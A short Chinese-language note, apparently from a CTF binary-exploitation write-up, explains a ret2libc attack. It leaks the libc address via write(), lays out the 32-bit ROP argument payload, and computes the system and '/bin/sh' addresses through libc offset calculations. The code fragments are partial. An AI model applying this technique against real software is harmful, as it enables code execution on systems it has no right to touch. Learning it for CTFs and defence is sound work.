首先利用write函数来泄露当前libc版本
write函数write(int fd,const void*buf,size_t count);
即构造时
p32(0)+p32(write_addr)+p32(4)是在设置write函数的参数,对应函数原型看一下,32位程序是4位,所以这边写的4,对应的64位程序是8位
那么就是
构造溢出函数+wirte的plt地址来引入wirte函数+main函数(我们要将程序程序重新执行一遍,再次利用输入点来进构造rop)
知道libc版本后去计算程序里的system函数和字符串“/bin/sh”的地址
即操作思路就是固定的
offset=write_addr-libc.dump('write') #计算偏移量
system_addr=offset+libc.dump('system') #偏移量=程序里的函数地址-libc里的函数地址
bin_sh=offset+libc.dump('str_bin_sh')
最后一步 就是rop链